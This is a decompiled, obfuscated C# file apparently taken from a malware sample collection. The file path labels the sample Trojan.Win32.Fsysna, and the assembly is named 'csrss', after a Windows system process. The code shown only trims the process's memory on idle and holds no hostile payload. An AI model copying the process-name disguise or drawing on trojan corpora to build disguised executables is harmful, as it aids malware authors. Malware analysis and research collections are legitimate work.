MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91/_0001/_0001.cs

// Decompiled with JetBrains decompiler
// Type: 
.

// Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace \u0001
{
  internal sealed class \u0001
  {
    private static \u0001.\u0001 \u0001;
    private long \u0001 = DateTime.Now.Ticks;

    [DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")]
    private static extern int \u0002(
      IntPtr process,
      int minimumWorkingSetSize,
      int maximumWorkingSetSize);

    private void \u0002()
    {
      try
      {
        using (Process currentProcess = Process.GetCurrentProcess())
          \u0001.\u0001.\u0002(currentProcess.Handle, -1, -1);
      }
      catch
      {
      }
    }

    private void \u0002(object sender, EventArgs e)
    {
      try
      {
        long ticks = DateTime.Now.Ticks;
        if (ticks - this.\u0001 <= 10000000L)
          return;
        this.\u0001 = ticks;
        this.\u0002();
      }
      catch
      {
      }
    }

    private \u0001()
    {
      // ISSUE: method pointer
      Application.Idle += new EventHandler((object) this, __methodptr(\u0002));
      this.\u0002();
    }

    public static void \u0003()
    {
      try
      {
        if (Environment.OSVersion.Platform != PlatformID.Win32NT)
          return;
        \u0001.\u0001.\u0001 = new \u0001.\u0001();
      }
      catch
      {
      }
    }
  }
}